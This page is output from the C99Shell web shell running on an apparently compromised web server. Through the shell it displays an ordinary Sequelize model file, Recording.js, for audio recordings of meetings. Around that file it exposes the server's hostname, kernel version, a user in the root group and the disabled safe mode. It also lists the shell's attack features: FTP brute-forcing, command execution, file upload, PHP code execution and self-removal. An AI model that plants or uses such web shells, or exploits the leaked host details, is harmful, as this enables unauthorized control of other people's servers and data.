!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/note.picotech.app/public_html/src/models/   drwxr-xr-x
Free 25.88 GB of 117.98 GB (21.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Recording.js (6.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const { DataTypes } = require('sequelize');
const { sequelize } = require('../config/database');
const path = require('path');
const fs = require('fs').promises;

const Recording = sequelize.define('Recording', {
  id: {
    type: DataTypes.INTEGER,
    primaryKey: true,
    autoIncrement: true,
  },
  meeting_id: {
    type: DataTypes.INTEGER,
    allowNull: false,
    references: {
      model: 'meetings',
      key: 'id',
    },
    onDelete: 'CASCADE',
  },
  file_path: {
    type: DataTypes.STRING(500),
    allowNull: false,
    validate: {
      notEmpty: true,
    },
  },
  file_name: {
    type: DataTypes.STRING(255),
    allowNull: false,
    validate: {
      notEmpty: true,
    },
  },
  original_name: {
    type: DataTypes.STRING(255),
    allowNull: true,
    comment: 'Original filename from upload',
  },
  mime_type: {
    type: DataTypes.STRING(100),
    allowNull: false,
    validate: {
      isIn: [['audio/mpeg', 'audio/wav', 'audio/mp4', 'audio/m4a', 'audio/webm', 'audio/ogg']],
    },
  },
  duration: {
    type: DataTypes.INTEGER,
    allowNull: false,
    comment: 'Duration in milliseconds',
    validate: {
      min: 0,
    },
  },
  file_size: {
    type: DataTypes.BIGINT,
    allowNull: false,
    comment: 'File size in bytes',
    validate: {
      min: 0,
    },
  },
  timestamp: {
    type: DataTypes.DATE,
    allowNull: false,
    defaultValue: DataTypes.NOW,
    comment: 'When the recording was made',
  },
  status: {
    type: DataTypes.ENUM('uploading', 'processing', 'completed', 'failed', 'deleted'),
    defaultValue: 'uploading',
    allowNull: false,
  },
  quality: {
    type: DataTypes.ENUM('low', 'medium', 'high'),
    defaultValue: 'medium',
    allowNull: false,
  },
  sample_rate: {
    type: DataTypes.INTEGER,
    allowNull: true,
    comment: 'Audio sample rate in Hz',
  },
  bit_rate: {
    type: DataTypes.INTEGER,
    allowNull: true,
    comment: 'Audio bit rate in kbps',
  },
  channels: {
    type: DataTypes.INTEGER,
    allowNull: true,
    defaultValue: 1,
    comment: 'Number of audio channels (1=mono, 2=stereo)',
  },
  metadata: {
    type: DataTypes.JSON,
    allowNull: true,
    defaultValue: {},
    comment: 'Additional metadata like device info, location, etc.',
  },
  checksum: {
    type: DataTypes.STRING(64),
    allowNull: true,
    comment: 'File checksum for integrity verification',
  },
  transcription_status: {
    type: DataTypes.ENUM('pending', 'processing', 'completed', 'failed', 'skipped'),
    defaultValue: 'pending',
    allowNull: false,
  },
  chunking_status: {
    type: DataTypes.ENUM('pending', 'processing', 'completed', 'failed', 'skipped'),
    defaultValue: 'pending',
    allowNull: false,
    comment: 'Status of audio chunking process',
  },
  error_message: {
    type: DataTypes.TEXT,
    allowNull: true,
    comment: 'Error message if processing failed',
  },
}, {
  tableName: 'recordings',
  timestamps: true,
  indexes: [
    {
      fields: ['meeting_id'],
    },
    {
      fields: ['status'],
    },
    {
      fields: ['transcription_status'],
    },
    {
      fields: ['chunking_status'],
    },
    {
      fields: ['timestamp'],
    },
    {
      fields: ['meeting_id', 'status'],
    },
  ],
});

// Instance methods
Recording.prototype.getFileExtension = function() {
  return path.extname(this.file_name).toLowerCase();
};

Recording.prototype.getDurationInSeconds = function() {
  return Math.floor(this.duration / 1000);
};

Recording.prototype.getDurationFormatted = function() {
  const totalSeconds = this.getDurationInSeconds();
  const minutes = Math.floor(totalSeconds / 60);
  const seconds = totalSeconds % 60;
  return `${minutes}:${seconds.toString().padStart(2, '0')}`;
};

Recording.prototype.getFileSizeFormatted = function() {
  const bytes = this.file_size;
  if (bytes === 0) return '0 Bytes';
  
  const k = 1024;
  const sizes = ['Bytes', 'KB', 'MB', 'GB'];
  const i = Math.floor(Math.log(bytes) / Math.log(k));
  
  return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
};

Recording.prototype.isProcessed = function() {
  return this.status === 'completed';
};

Recording.prototype.canBeTranscribed = function() {
  return this.status === 'completed' && 
         ['pending', 'failed'].includes(this.transcription_status);
};

Recording.prototype.markAsCompleted = async function() {
  this.status = 'completed';
  return this.save();
};

Recording.prototype.markAsFailed = async function(errorMessage) {
  this.status = 'failed';
  this.error_message = errorMessage;
  return this.save();
};

Recording.prototype.updateTranscriptionStatus = async function(status, errorMessage = null) {
  this.transcription_status = status;
  if (errorMessage) {
    this.error_message = errorMessage;
  }
  return this.save();
};

Recording.prototype.updateChunkingStatus = async function(status, errorMessage = null) {
  this.chunking_status = status;
  if (errorMessage) {
    this.error_message = errorMessage;
  }
  return this.save();
};

Recording.prototype.deleteFile = async function() {
  try {
    await fs.unlink(this.file_path);
    this.status = 'deleted';
    await this.save();
    return true;
  } catch (error) {
    console.error('Error deleting file:', error);
    return false;
  }
};

// Class methods
Recording.findByMeeting = function(meetingId, options = {}) {
  return this.findAll({
    where: {
      meeting_id: meetingId,
      status: { [sequelize.Sequelize.Op.ne]: 'deleted' },
      ...options.where,
    },
    order: options.order || [['timestamp', 'ASC']],
    ...options,
  });
};

Recording.findPendingTranscription = function(limit = 10) {
  return this.findAll({
    where: {
      status: 'completed',
      transcription_status: 'pending',
    },
    order: [['created_at', 'ASC']],
    limit,
  });
};

Recording.findPendingChunking = function(limit = 10) {
  return this.findAll({
    where: {
      status: 'completed',
      chunking_status: 'pending',
      duration: { [sequelize.Sequelize.Op.gt]: 30000 }, // Only chunk recordings longer than 30 seconds
    },
    order: [['created_at', 'ASC']],
    limit,
  });
};

Recording.findByStatus = function(status, options = {}) {
  return this.findAll({
    where: {
      status,
      ...options.where,
    },
    order: options.order || [['created_at', 'DESC']],
    limit: options.limit,
  });
};

Recording.getTotalSizeByMeeting = async function(meetingId) {
  const result = await this.findOne({
    where: {
      meeting_id: meetingId,
      status: { [sequelize.Sequelize.Op.ne]: 'deleted' },
    },
    attributes: [
      [sequelize.fn('SUM', sequelize.col('file_size')), 'total_size'],
    ],
    raw: true,
  });
  
  return parseInt(result.total_size) || 0;
};

Recording.getTotalDurationByMeeting = async function(meetingId) {
  const result = await this.findOne({
    where: {
      meeting_id: meetingId,
      status: { [sequelize.Sequelize.Op.ne]: 'deleted' },
    },
    attributes: [
      [sequelize.fn('SUM', sequelize.col('duration')), 'total_duration'],
    ],
    raw: true,
  });
  
  return parseInt(result.total_duration) || 0;
};

module.exports = Recording;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--